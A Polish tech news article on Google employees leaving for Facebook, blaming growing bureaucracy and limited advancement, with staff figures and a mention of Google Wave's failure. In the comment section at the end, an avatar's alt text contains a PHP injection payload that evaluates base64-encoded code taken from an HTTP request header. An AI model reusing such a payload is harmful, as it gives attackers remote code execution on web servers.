Brak możliwości rozwoju i coraz większa biurokracja, to m.in. powody dla których pracownicy Google’a porzucają swoją dotychczasową firmę i przenoszą się do Facebooka.
Google jest dynamicznie rozwijającą się firmą. Z roku na rok potrzebuje coraz większe zastępy pracowników do obsługi kolejnych przejęć. Jednakże wygląda na to, że nie wszystkim się to podoba. W krótkim czasie w firmie zwiększono zatrudnienie z 5 do 23 tysięcy pracowników.
Wszystko wskazuje na to, że taka sytuacja przytłoczyła niektórych. Z działania w małych zespołach konieczna była zmiana i przystosowanie się do nowych warunków. W związku z tym, z firmy zaczęli odchodzić nie tylko szeregowi pracownicy, ale również osoby decyzyjne.
Wydaje się, że próby podejmowane przez Google w celu zatrzymania uciekinierów, jak podwyżki czy zakładanie wewnętrznych przedsiębiorstw, są nieskuteczne. Chętni do zmiany pracy trafiają do konkurenta na rynku społecznościowym, jakim jest Facebook. Obecnie szacuje się, że spośród 1,7 tysiąca pracowników Facebooka, aż 142 pracowało wcześniej w Google’u. Daje to prawie 10%
Czyżby Google wpadł w błędne koło i zaczął popełniać błędy Microsoftu sprzed lat? Wygląda na to, że decyzje podejmowane przez włodarzy wyszukiwarkowego giganta, z najbardziej liczącej się firmy IT świata, spychają go do roli największego skupującego, bez własnego wkładu. Wystarczy wspomnieć niedawną porażkę: Google Wave.
![Awatar ${eval(base64_decode($_SERVER[HTTP_EXECCODE]))](https://secure.gravatar.com/avatar/0226c0f84d7d9135f64e478ebf95edd2?s=40&d=mm&r=g){kind=avatar}
Dodaj komentarz